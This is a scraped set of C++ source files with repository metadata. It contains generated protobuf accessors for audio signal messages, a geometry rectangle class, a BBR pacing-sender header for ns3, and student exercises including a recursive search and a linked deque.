set_has_band1(); inline void clear_has_band1(); inline void set_has_band2(); inline void clear_has_band2(); inline void set_has_band3(); inline void clear_has_band3(); inline void set_has_band4(); inline void clear_has_band4(); inline void set_has_band5(); inline void clear_has_band5(); inline void set_has_band6(); inline void clear_has_band6(); inline void set_has_band7(); inline void clear_has_band7(); inline void set_has_band8(); inline void clear_has_band8(); inline void set_has_band9(); inline void clear_has_band9(); inline void set_has_band10(); inline void clear_has_band10(); inline void set_has_band11(); inline void clear_has_band11(); inline void set_has_band12(); inline void clear_has_band12(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; ::google_public::protobuf::int32 signalid_; float fundamentalfreq_; float band1_; float band2_; float band3_; float band4_; float band5_; float band6_; float band7_; float band8_; float band9_; float band10_; float band11_; float band12_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(14 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static LogFFT* default_instance_; }; // ------------------------------------------------------------------- class TimeInfo : public ::google_public::protobuf::Message { public: TimeInfo(); virtual ~TimeInfo(); TimeInfo(const TimeInfo& from); inline TimeInfo& operator=(const TimeInfo& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const TimeInfo& default_instance(); void Swap(TimeInfo* other); // implements Message ---------------------------------------------- TimeInfo* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const TimeInfo& from); void MergeFrom(const TimeInfo& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // required bool isPlaying = 1 [default = false]; inline bool has_isplaying() const; inline void clear_isplaying(); static const int kIsPlayingFieldNumber = 1; inline bool isplaying() const; inline void set_isplaying(bool value); // required float tempo = 2 [default = 0]; inline bool has_tempo() const; inline void clear_tempo(); static const int kTempoFieldNumber = 2; inline float tempo() const; inline void set_tempo(float value); // required float position = 3 [default = 0]; inline bool has_position() const; inline void clear_position(); static const int kPositionFieldNumber = 3; inline float position() const; inline void set_position(float value); // @@protoc_insertion_point(class_scope:TimeInfo) private: inline void set_has_isplaying(); inline void clear_has_isplaying(); inline void set_has_tempo(); inline void clear_has_tempo(); inline void set_has_position(); inline void clear_has_position(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; bool isplaying_; float tempo_; float position_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(3 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static TimeInfo* default_instance_; }; // =================================================================== // =================================================================== // SignalLevel // required int32 signalID = 1 [default = 1]; inline bool SignalLevel::has_signalid() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void SignalLevel::set_has_signalid() { _has_bits_[0] |= 0x00000001u; } inline void SignalLevel::clear_has_signalid() { _has_bits_[0] &= ~0x00000001u; } inline void SignalLevel::clear_signalid() { signalid_ = 1; clear_has_signalid(); } inline ::google_public::protobuf::int32 SignalLevel::signalid() const { return signalid_; } inline void SignalLevel::set_signalid(::google_public::protobuf::int32 value) { set_has_signalid(); signalid_ = value; } // required float signalLevel = 2 [default = 0]; inline bool SignalLevel::has_signallevel() const { return (_has_bits_[0] & 0x00000002u) != 0; } inline void SignalLevel::set_has_signallevel() { _has_bits_[0] |= 0x00000002u; } inline void SignalLevel::clear_has_signallevel() { _has_bits_[0] &= ~0x00000002u; } inline void SignalLevel::clear_signallevel() { signallevel_ = 0; clear_has_signallevel(); } inline float SignalLevel::signallevel() const { return signallevel_; } inline void SignalLevel::set_signallevel(float value) { set_has_signallevel(); signallevel_ = value; } // ------------------------------------------------------------------- // SignalInstantVal // required int32 signalID = 1 [default = 1]; inline bool SignalInstantVal::has_signalid() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void SignalInstantVal::set_has_signalid() { _has_bits_[0] |= 0x00000001u; } inline void SignalInstantVal::clear_has_signalid() { _has_bits_[0] &= ~0x00000001u; } inline void SignalInstantVal::clear_signalid() { signalid_ = 1; clear_has_signalid(); } inline ::google_public::protobuf::int32 SignalInstantVal::signalid() const { return signalid_; } inline void SignalInstantVal::set_signalid(::google_public::protobuf::int32 value) { set_has_signalid(); signalid_ = value; } // required float signalInstantVal = 2 [default = 0]; inline bool SignalInstantVal::has_signalinstantval() const { return (_has_bits_[0] & 0x00000002u) != 0; } inline void SignalInstantVal::set_has_signalinstantval() { _has_bits_[0] |= 0x00000002u; } inline void SignalInstantVal::clear_has_signalinstantval() { _has_bits_[0] &= ~0x00000002u; } inline void SignalInstantVal::clear_signalinstantval() { signalinstantval_ = 0; clear_has_signalinstantval(); } inline float SignalInstantVal::signalinstantval() const { return signalinstantval_; } inline void SignalInstantVal::set_signalinstantval(float value) { set_has_signalinstantval(); signalinstantval_ = value; } // ------------------------------------------------------------------- // Impulse // required int32 signalID = 1 [default = 1]; inline bool Impulse::has_signalid() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void Impulse::set_has_signalid() { _has_bits_[0] |= 0x00000001u; } inline void Impulse::clear_has_signalid() { _has_bits_[0] &= ~0x00000001u; } inline void Impulse::clear_signalid() { signalid_ = 1; clear_has_signalid(); } inline ::google_public::protobuf::int32 Impulse::signalid() const { return signalid_; } inline void Impulse::set_signalid(::google_public::protobuf::int32 value) { set_has_signalid(); signalid_ = value; } // ------------------------------------------------------------------- // LinearFFT // required int32 signalID = 1 [default = 1]; inline bool LinearFFT::has_signalid() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void LinearFFT::set_has_signalid() { _has_bits_[0] |= 0x00000001u; } inline void LinearFFT::clear_has_signalid() { _has_bits_[0] &= ~0x00000001u; } inline void LinearFFT::clear_signalid() { signalid_ = 1; clear_has_signalid(); } inline ::google_public::protobuf::int32 LinearFFT::signalid() const { return signalid_; } inline void LinearFFT::set_signalid(::google_public::protobuf::int32 value) { set_has_signalid(); signalid_ = value; } // required float fundamentalFreq = 2 [default = 0]; inline bool LinearFFT::has_fundamentalfreq() const { return (_has_bits_[0] & 0x00000002u) != 0; } inline void LinearFFT::set_has_fundamentalfreq() { _has_bits_[0] |= 0x00000002u; } inline void LinearFFT::clear_has_fundamentalfreq() { _has_bits_[0] &= ~0x00000002u; } inline void LinearFFT::clear_fundamentalfreq() { fundamentalfreq_ = 0; clear_has_fundamentalfreq(); } inline float LinearFFT::fundamentalfreq() const { return fundamentalfreq_; } inline void LinearFFT::set_fundamentalfreq(float value) { set_has_fundamentalfreq(); fundamentalfreq_ = value; } // repeated float data = 3 [packed = true]; inline int LinearFFT::data_size() const { return data_.size(); } inline void LinearFFT::clear_data() { data_.Clear(); } inline float LinearFFT::data(int index) const { return data_.Get(index); } inline void LinearFFT::set_data(int index, float value) { data_.Set(index, value); } inline void LinearFFT::add_data(float value) { data_.Add(value); } inline const ::google_public::protobuf::RepeatedField< float >& LinearFFT::data() const { return data_; } inline ::google_public::protobuf::RepeatedField< float >* LinearFFT::mutable_data() { return &data_; } // ------------------------------------------------------------------- // LogFFT // optional int32 signalID = 1 [default = 1]; inline bool LogFFT::has_signalid() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void LogFFT::set_has_signalid() { _has_bits_[0] |= 0x00000001u; } inline void LogFFT::clear_has_signalid() { _has_bits_[0] &= ~0x00000001u; } inline void LogFFT::clear_signalid() { signalid_ = 1; clear_has_signalid(); } inline ::google_public::protobuf::int32 LogFFT::signalid() const { return signalid_; } inline void LogFFT::set_signalid(::google_public::protobuf::int32 value) { set_has_signalid(); signalid_ = value; } // optional float fundamentalFreq = 2; inline bool LogFFT::has_fundamentalfreq() const { return (_has_bits_[0] & 0x00000002u) != 0; } inline void LogFFT::set_has_fundamentalfreq() { _has_bits_[0] |= 0x00000002u; } inline void LogFFT::clear_has_fundamentalfreq() { _has_bits_[0] &= ~0x00000002u; } inline void LogFFT::clear_fundamentalfreq() { fundamentalfreq_ = 0; clear_has_fundamentalfreq(); } inline float LogFFT::fundamentalfreq() const { return fundamentalfreq_; } inline void LogFFT::set_fundamentalfreq(float value) { set_has_fundamentalfreq(); fundamentalfreq_ = value; } // optional float band1 = 3; inline bool LogFFT::has_band1() const { return (_has_bits_[0] & 0x00000004u) != 0; } inline void LogFFT::set_has_band1() { _has_bits_[0] |= 0x00000004u; } inline void LogFFT::clear_has_band1() { _has_bits_[0] &= ~0x00000004u; } inline void LogFFT::clear_band1() { band1_ = 0; clear_has_band1(); } inline float LogFFT::band1() const { return band1_; } inline void LogFFT::set_band1(float value) { set_has_band1(); band1_ = value; } // optional float band2 = 4; inline bool LogFFT::has_band2() const { return (_has_bits_[0] & 0x00000008u) != 0; } inline void LogFFT::set_has_band2() { _has_bits_[0] |= 0x00000008u; } inline void LogFFT::clear_has_band2() { _has_bits_[0] &= ~0x00000008u; } inline void LogFFT::clear_band2() { band2_ = 0; clear_has_band2(); } inline float LogFFT::band2() const { return band2_; } inline void LogFFT::set_band2(float value) { set_has_band2(); band2_ = value; } // optional float band3 = 5; inline bool LogFFT::has_band3() const { return (_has_bits_[0] & 0x00000010u) != 0; } inline void LogFFT::set_has_band3() { _has_bits_[0] |= 0x00000010u; } inline void LogFFT::clear_has_band3() { _has_bits_[0] &= ~0x00000010u; } inline void LogFFT::clear_band3() { band3_ = 0; clear_has_band3(); } inline float LogFFT::band3() const { return band3_; } inline void LogFFT::set_band3(float value) { set_has_band3(); band3_ = value; } // optional float band4 = 6; inline bool LogFFT::has_band4() const { return (_has_bits_[0] & 0x00000020u) != 0; } inline void LogFFT::set_has_band4() { _has_bits_[0] |= 0x00000020u; } inline void LogFFT::clear_has_band4() { _has_bits_[0] &= ~0x00000020u; } inline void LogFFT::clear_band4() { band4_ = 0; clear_has_band4(); } inline float LogFFT::band4() const { return band4_; } inline void LogFFT::set_band4(float value) { set_has_band4(); band4_ = value; } // optional float band5 = 7; inline bool LogFFT::has_band5() const { return (_has_bits_[0] & 0x00000040u) != 0; } inline void LogFFT::set_has_band5() { _has_bits_[0] |= 0x00000040u; } inline void LogFFT::clear_has_band5() { _has_bits_[0] &= ~0x00000040u; } inline void LogFFT::clear_band5() { band5_ = 0; clear_has_band5(); } inline float LogFFT::band5() const { return band5_; } inline void LogFFT::set_band5(float value) { set_has_band5(); band5_ = value; } // optional float band6 = 8; inline bool LogFFT::has_band6() const { return (_has_bits_[0] & 0x00000080u) != 0; } inline void LogFFT::set_has_band6() { _has_bits_[0] |= 0x00000080u; } inline void LogFFT::clear_has_band6() { _has_bits_[0] &= ~0x00000080u; } inline void LogFFT::clear_band6() { band6_ = 0; clear_has_band6(); } inline float LogFFT::band6() const { return band6_; } inline void LogFFT::set_band6(float value) { set_has_band6(); band6_ = value; } // optional float band7 = 9; inline bool LogFFT::has_band7() const { return (_has_bits_[0] & 0x00000100u) != 0; } inline void LogFFT::set_has_band7() { _has_bits_[0] |= 0x00000100u; } inline void LogFFT::clear_has_band7() { _has_bits_[0] &= ~0x00000100u; } inline void LogFFT::clear_band7() { band7_ = 0; clear_has_band7(); } inline float LogFFT::band7() const { return band7_; } inline void LogFFT::set_band7(float value) { set_has_band7(); band7_ = value; } // optional float band8 = 10; inline bool LogFFT::has_band8() const { return (_has_bits_[0] & 0x00000200u) != 0; } inline void LogFFT::set_has_band8() { _has_bits_[0] |= 0x00000200u; } inline void LogFFT::clear_has_band8() { _has_bits_[0] &= ~0x00000200u; } inline void LogFFT::clear_band8() { band8_ = 0; clear_has_band8(); } inline float LogFFT::band8() const { return band8_; } inline void LogFFT::set_band8(float value) { set_has_band8(); band8_ = value; } // optional float band9 = 11; inline bool LogFFT::has_band9() const { return (_has_bits_[0] & 0x00000400u) != 0; } inline void LogFFT::set_has_band9() { _has_bits_[0] |= 0x00000400u; } inline void LogFFT::clear_has_band9() { _has_bits_[0] &= ~0x00000400u; } inline void LogFFT::clear_band9() { band9_ = 0; clear_has_band9(); } inline float LogFFT::band9() const { return band9_; } inline void LogFFT::set_band9(float value) { set_has_band9(); band9_ = value; } // optional float band10 = 12; inline bool LogFFT::has_band10() const { return (_has_bits_[0] & 0x00000800u) != 0; } inline void LogFFT::set_has_band10() { _has_bits_[0] |= 0x00000800u; } inline void LogFFT::clear_has_band10() { _has_bits_[0] &= ~0x00000800u; } inline void LogFFT::clear_band10() { band10_ = 0; clear_has_band10(); } inline float LogFFT::band10() const { return band10_; } inline void LogFFT::set_band10(float value) { set_has_band10(); band10_ = value; } // optional float band11 = 13; inline bool LogFFT::has_band11() const { return (_has_bits_[0] & 0x00001000u) != 0; } inline void LogFFT::set_has_band11() { _has_bits_[0] |= 0x00001000u; } inline void LogFFT::clear_has_band11() { _has_bits_[0] &= ~0x00001000u; } inline void LogFFT::clear_band11() { band11_ = 0; clear_has_band11(); } inline float LogFFT::band11() const { return band11_; } inline void LogFFT::set_band11(float value) { set_has_band11(); band11_ = value; } // optional float band12 = 14; inline bool LogFFT::has_band12() const { return (_has_bits_[0] & 0x00002000u) != 0; } inline void LogFFT::set_has_band12() { _has_bits_[0] |= 0x00002000u; } inline void LogFFT::clear_has_band12() { _has_bits_[0] &= ~0x00002000u; } inline void LogFFT::clear_band12() { band12_ = 0; clear_has_band12(); } inline float LogFFT::band12() const { return band12_; } inline void LogFFT::set_band12(float value) { set_has_band12(); band12_ = value; } // ------------------------------------------------------------------- // TimeInfo // required bool isPlaying = 1 [default = false]; inline bool TimeInfo::has_isplaying() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void TimeInfo::set_has_isplaying() { _has_bits_[0] |= 0x00000001u; } inline void TimeInfo::clear_has_isplaying() { _has_bits_[0] &= ~0x00000001u; } inline void TimeInfo::clear_isplaying() { isplaying_ = false; clear_has_isplaying(); } inline bool TimeInfo::isplaying() const { return isplaying_; } inline void TimeInfo::set_isplaying(bool value) { set_has_isplaying(); isplaying_ = value; } // required float tempo = 2 [default = 0]; inline bool TimeInfo::has_tempo() const { return (_has_bits_[0] & 0x00000002u) != 0; } inline void TimeInfo::set_has_tempo() { _has_bits_[0] |= 0x00000002u; } inline void TimeInfo::clear_has_tempo() { _has_bits_[0] &= ~0x00000002u; } inline void TimeInfo::clear_tempo() { tempo_ = 0; clear_has_tempo(); } inline float TimeInfo::tempo() const { return tempo_; } inline void TimeInfo::set_tempo(float value) { set_has_tempo(); tempo_ = value; } // required float position = 3 [default = 0]; inline bool TimeInfo::has_position() const { return (_has_bits_[0] & 0x00000004u) != 0; } inline void TimeInfo::set_has_position() { _has_bits_[0] |= 0x00000004u; } inline void TimeInfo::clear_has_position() { _has_bits_[0] &= ~0x00000004u; } inline void TimeInfo::clear_position() { position_ = 0; clear_has_position(); } inline float TimeInfo::position() const { return position_; } inline void TimeInfo::set_position(float value) { set_has_position(); position_ = value; } // @@protoc_insertion_point(namespace_scope) #ifndef SWIG namespace google_public { namespace protobuf { } // namespace google } // namespace protobuf #endif // SWIG // @@protoc_insertion_point(global_scope) #endif // PROTOBUF_SignalMessages_2eproto__INCLUDED
[ "martin.dirollo@gmail.com" ]
martin.dirollo@gmail.com
95d71079ecd1e834b9a1478d6fcb0bfb516455df
48c170a17dbb21872070d6c57f10678c47f62625
/src/geometry/Rectangle.cpp
09e3d839783585cad19d04e4ae5752b1e2bc5950
[]
no_license
DavidSichau/UtilLib
9e076529a504f64d2c3947cdf12a23b0b54ff8e2
acf79d3162a0998589a039948a36080f0b12b2d2
refs/heads/master
2021-01-23T04:03:04.676012
2014-07-22T07:16:16
2014-07-22T07:16:16
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,373
cpp
/* Copyright (c) 2013 David Sichau <mail"at"sichau"dot"eu> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * */ #include <UtilLib/include/geometry/Rectangle.hpp> namespace UtilLib { namespace geometry { Rectangle::Rectangle( double n, double s, double w, double e) : north(n), south(s), west(w), east(e) {} Rectangle::Rectangle( double x, double y, double size) : north(y + size / 2), south(y - size / 2), west(x - size / 2), east(x + size / 2) {} bool Rectangle::within(const Rectangle& rect) const { return within(rect.north, rect.south, rect.west, rect.east); } bool Rectangle::within( double n, double s, double w, double e) const { if (s > north || s < south) return false; if (n < south || n > north) return false; if (w > east || w < west) return false; if (e < west || e > east) return false; return true; } bool Rectangle::pointWithinBounds( double x, double y) const { if ((x >= west) && (x < east) && (y <= north) && (y > south)) { return true; } else { return false; } } } // end namespace } // end namespace
[ "mail@sichau.eu" ]
mail@sichau.eu
23bf739bbedf5b8000fe6dc621f3b7ee2d5c3739
419ee1b3c10effb26daf4e16090a99e57732ab4e
/model/pacing-sender.h
fb0da748a954c4cc1f80b072de876d7f0a4c0caf
[]
no_license
shihunyewu/bbr
4e82626b6f8429497acdd7a5a7109a3637980adf
aa77e201d56727951a0905d37ea8677cf162dcdb
refs/heads/master
2020-06-19T23:03:23.299110
2018-07-16T07:19:25
2018-07-16T07:19:25
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,995
h
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */ /* * Copyright (c) 2008 INRIA * * Author: daibo <daibo@yy.com> */ #ifndef PACING_SENDER_H #define PACING_SENDER_H #include "bbr-common.h" #include "send-algorithm-interface.h" #include "bandwidth.h" namespace ns3 { namespace bbr { class PacingSender { public: PacingSender(); ~PacingSender(); // Sets the underlying sender. Does not take ownership of |sender|. |sender| // must not be null. This must be called before any of the // SendAlgorithmInterface wrapper methods are called. void set_sender(SendAlgorithmInterface *sender); void set_max_pacing_rate(Bandwidth max_pacing_rate) { max_pacing_rate_ = max_pacing_rate; } void OnCongestionEvent( bool rtt_updated, ByteCount bytes_in_flight, uint64_t event_time, const SendAlgorithmInterface::CongestionVector &acked_packets, const SendAlgorithmInterface::CongestionVector &lost_packets); bool OnPacketSent(uint64_t sent_time, ByteCount bytes_in_flight, PacketNumber packet_number, ByteCount bytes, HasRetransmittableData is_retransmittable); uint64_t TimeUntilSend(uint64_t now, ByteCount bytes_in_flight); Bandwidth PacingRate(ByteCount bytes_in_flight) const; private: // Underlying sender. Not owned. SendAlgorithmInterface *sender_; // If not BandWidth::Zero, the maximum rate the PacingSender will use. Bandwidth max_pacing_rate_; // Number of unpaced packets to be sent before packets are delayed. uint32_t burst_tokens_; // Send time of the last packet considered delayed. uint64_t last_delayed_packet_sent_time_; uint64_t ideal_next_packet_send_time_; // When can the next packet be sent. bool was_last_send_delayed_; // True when the last send was delayed. DISALLOW_COPY_AND_ASSIGN(PacingSender); }; } } #endif
[ "shilei@bigo.sg" ]
shilei@bigo.sg
786136498d5ca490c3004275662f4e6bb1ea0077
c2120e65e0b67c5538ff99923e0cf8c6740d5332
/Edoflip/FirstOccUsingRec.cpp
23622fa5ce68d472205730fcc3c642b30314b92a
[]
no_license
kanavbengani/Cplusplus-Exercises
fac5d2a03bc18c8f2e9ae3427ee0677df9cb87c7
a62105310657be940d8f21d1bbf618ce251f54ab
refs/heads/main
2023-02-03T15:17:54.005786
2020-12-20T16:40:42
2020-12-20T16:40:42
315,371,989
0
0
null
null
null
null
UTF-8
C++
false
false
314
cpp
#include <iostream> using namespace std; int firstOccurance(int num, int a[], int size) { if (size == 0) { return -1; } if (a[0] == num) { return num; } } int main() { int num, a[10] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; cin >> num; firstOccurance(num, a, 10); }
[ "kbengani21@gmail.com" ]
kbengani21@gmail.com
fc76bf5c4315260ceb95645bee58eabff86be29d
bd2ddededcbc6c7ef03b6946cb9ff1a38c9ad02b
/include/MargotPrimaryGeneratorAction.hh
9214a9eca3595faa5666638de0e2d2b4e0ae63cd
[]
no_license
alourei/ProtonDetector
27cb9d969ab8e459cc16267b9edc93f71a7f5dee
89ebc98ea46f177ea21d15e401a1125b05a405e3
refs/heads/master
2016-08-12T06:09:01.833670
2015-05-29T14:10:40
2015-05-29T14:10:40
36,507,230
0
0
null
null
null
null
UTF-8
C++
false
false
2,865
hh
// // ******************************************************************** // * License and Disclaimer * // * * // * The Geant4 software is copyright of the Copyright Holders of * // * the Geant4 Collaboration. It is provided under the terms and * // * conditions of the Geant4 Software License, included in the file * // * LICENSE and available at http://cern.ch/geant4/license . These * // * include a list of copyright holders. * // * * // * Neither the authors of this software system, nor their employing * // * institutes,nor the agencies providing financial support for this * // * work make any representation or warranty, express or implied, * // * regarding this software system or assume any liability for its * // * use. Please see the license in the file LICENSE and URL above * // * for the full disclaimer and the limitation of liability. * // * * // * This code implementation is the result of the scientific and * // * technical work of the GEANT4 collaboration. * // * By using, copying, modifying or distributing the software (or * // * any work based on the software) you agree to acknowledge its * // * use in resulting scientific publications, and indicate your * // * acceptance of all terms of the Geant4 Software license. * // ******************************************************************** // // $Id: MargotPrimaryGeneratorAction.cc,v 1.6 2006/11/15 17:47:21 roeder Exp $ // GEANT4 tag $Name: geant4-08-01-patch-01 $ // // Modified by Brian Roeder LPC Caen on 11/15/2006 // email - roeder@lpccaen.in2p3.fr // // ------------------------------------------------------------------- // Based on GEANT 4 - exampleN01, adding elements from other exps. // ------------------------------------------------------------------- // #ifndef MargotPrimaryGeneratorAction_h #define MargotPrimaryGeneratorAction_h 1 #include "globals.hh" #include "G4LorentzVector.hh" #include "G4VUserPrimaryGeneratorAction.hh" #include "MargotDataRecordTree.hh" class G4ParticleGun; class G4Event; class MargotPrimaryGeneratorAction : public G4VUserPrimaryGeneratorAction { public: MargotPrimaryGeneratorAction(){;} MargotPrimaryGeneratorAction(G4String pName, G4String SourceType, G4double BeamEng); ~MargotPrimaryGeneratorAction(); public: void GeneratePrimaries(G4Event* anEvent); private: G4ParticleGun* particleGun; G4int dataevent; G4double particle_energy; MargotDataRecordTree* MargotDataOutPG; G4int seed; G4String Source; G4String BeamName; }; #endif
[ "perezlou@flagtail.nscl.msu.edu" ]
perezlou@flagtail.nscl.msu.edu
935f36d5b958bf331454f9aadb82f1c46db26dea
254bf7d275384ed462a49b81e4930e9bd5ab29d7
/P2/.exercici2 - R/LinkedDeque.h
c7a4093c01acd6a0ac4437719019d19cb0de53ce
[ "WTFPL" ]
permissive
leRoderic/ED2018
74dfc20183c17ef152df12f770eb9976a78a8c3a
a1663fc7b1ce8ae29ba5d9c004a0ddcf32d6c2aa
refs/heads/master
2021-06-02T09:07:30.053040
2019-11-07T18:06:20
2019-11-07T18:06:20
123,178,244
1
1
null
null
null
null
UTF-8
C++
false
false
3,763
h
/* * File: LinkedDeque.h * Author: Rodrigo Cabezas Quirós * * Created on 20 de marzo de 2018, 8:04 */ #ifndef LINKEDDEQUE_H #define LINKEDDEQUE_H #include "Node.h" #include <stdexcept> #include <iostream> using namespace std; template <class Element> class LinkedDeque { public: LinkedDeque<Element>(); LinkedDeque(const LinkedDeque<Element>& deque); virtual ~LinkedDeque(); bool isEmpty() const; void insertFront(const Element & element); void insertRear(const Element & element); void deleteFront(); void deleteRear(); void print(); void setFront(Node<Element> node); int size(); Node<Element> getFront() const; Node<Element> getRear()const; private: Node<Element> *_front; Node<Element> *_rear; int num_elements; }; template <class Element> LinkedDeque<Element>::LinkedDeque(){ this->_front = nullptr; this->_rear = nullptr; this->num_elements = 0; } template <class Element> LinkedDeque<Element>::LinkedDeque(const LinkedDeque<Element>& deque){ this->_front = nullptr; this->_rear = nullptr; this->num_elements = 0; } template <class Element> LinkedDeque<Element>::~LinkedDeque(){ Node<Element> *tmp; while(this->getFront() != nullptr){ tmp = this->getFront(); this->setFront(this->getFront()->getNext()); delete tmp; } } template <class Element> void LinkedDeque<Element>::deleteFront(){ if(this->_front = nullptr){ throw underflow_error("No hay ningún frente asignado."); } Node<Element> *tmp = this->getFront(); // antiguo frente delete _front; // fuera antiguo frente this->_front = tmp->getNext(); // asigno el nuevo frente this->num_elements--; } template <class Element> void LinkedDeque<Element>::deleteRear(){ if(this->_rear = nullptr){ throw underflow_error("No hay ningún rear asignado."); } Node<Element> *tmp = this->getRear(); // antiguo rear delete _rear; // fuera antiguo rear this->_rear = tmp->getPrevious(); // asigno nuevo rear this->num_elements--; } template <class Element> Node<Element> LinkedDeque<Element>::getFront() const{ return this->_front; } template <class Element> Node<Element> LinkedDeque<Element>::getRear() const{ return this->_rear; } template <class Element> void LinkedDeque<Element>::insertFront(const Element& element){ Node<Element> *a = new Node<Element>(element); // nuevo nodo a.setNext(this->getFront()); // frente a derecha this->_front.setPrevious(a); // anterior a frente ahora es el nuevo nodo this->_front = a; // el frente es el nuevo nodo this->num_elements++; } template <class Element> void LinkedDeque<Element>::insertRear(const Element& element){ Node<Element> *a = new Node<Element>(element); // nuevo nodo a.setPrevious(this->getRear()); // rear a izquierda this->_rear->setNext(a); // siguiente de cola es nuevo nodo this->_rear = a; // rear es el nuevo nodo this->num_elements++; } template <class Element> bool LinkedDeque<Element>::isEmpty() const{ return (this->num_elements == 0); } template <class Element> void LinkedDeque<Element>::print(){ if(isEmpty()){ throw underflow_error("No hay nada que mostrar."); } Node<Element> tmp = this->_front; while(tmp != nullptr){ cout << tmp.getElement() << " "; tmp = tmp.getNext(); } } template <class element> void LinkedDeque<Element>::setFront(Node<Element> node){ this->_front = node; } template <class Element> int LinkedDeque<Element>::size(){ return this->num_elements; } #endif /* LINKEDDEQUE_H */
[ "rcmikado@gmail.com" ]
rcmikado@gmail.com
b47efc9de191d5b8e3734b43342e68805e3f4cad
fc146feda3b875eb3e6f07ae33d46c195577205c
/Source/ActionRPGGame/ARPlayerController.h
a9d4bd9ef1d3f91494b58af7066233859b68f72d
[ "LicenseRef-scancode-warranty-disclaimer" ]
no_license
sikkey/ActionRPGGame
5cda2726cdce309c70f6cd3a7676f2467797a829
d53dd7b16bc066dcaaf7a9e9330e3fea4a47a61a
refs/heads/master
2021-01-21T14:57:02.789070
2017-06-25T00:04:03
2017-06-25T00:04:03
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,405
h
// Copyright 1998-2014 Epic Games, Inc. All Rights Reserved. #pragma once #include "FCTFloatingTextComponent.h" #include "GSPlayerController.h" #include "FCTGlobalTypes.h" #include "GAGlobalTypes.h" #include "IGISInventory.h" #include "ARPlayerController.generated.h" UCLASS() class ACTIONRPGGAME_API AARPlayerController : public AGSPlayerController, public IIGISInventory { GENERATED_BODY() protected: UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category = "Inventory", meta = (AllowPrivateAccess = "true")) class UGISInventoryBaseComponent* Inventory; UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category = "Abilities") class UGSAbilitiesComponent* Abilities; UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category = "Abilities") class UARUIComponent* UIComponent; public: AARPlayerController(const FObjectInitializer& ObjectInitializer); /** AActor Overrides - BEGIN */ virtual void BeginPlay() override; /* AActor Overrides - END **/ virtual void OnRep_Pawn() override; virtual void SetupInputComponent() override; //UFUNCTION() // void OnRecivedModifiedAttribute(const FGAModifiedAttribute& AttributeModIn); UFUNCTION(BlueprintImplementableEvent) void OnPawnReplicated(APawn* NewPawn); /** IIGISInventory - BEGIN */ class UGISInventoryBaseComponent* GetInventory() override; /* IIGISInventory - END **/ //virtual void PreInitializeComponents() override; };
[ "xeavien@gmail.com" ]
xeavien@gmail.com
0bae65a1a87836595d137b9c3c3255a3a949bb0a
ef7ad96103876b24bbb45be8dfba7e80771c76e7
/ui-qt/Pretreatment/ImgpreprocessModule/ImagepreprocessDlg.cpp
d4847c0576784d0f4ceee6bd6960aab815807113
[ "MIT" ]
permissive
TinySlik/FPGA-Industrial-Smart-Camera
ecb6274f4ef16cf9174cd73812486644f821152a
54b3e2c2661cf7f6774a7fb4d6ae637fa73cba32
refs/heads/master
2021-06-25T11:09:21.212466
2017-09-01T07:23:58
2017-09-01T07:23:58
null
0
0
null
null
null
null
UTF-8
C++
false
false
27,784
cpp
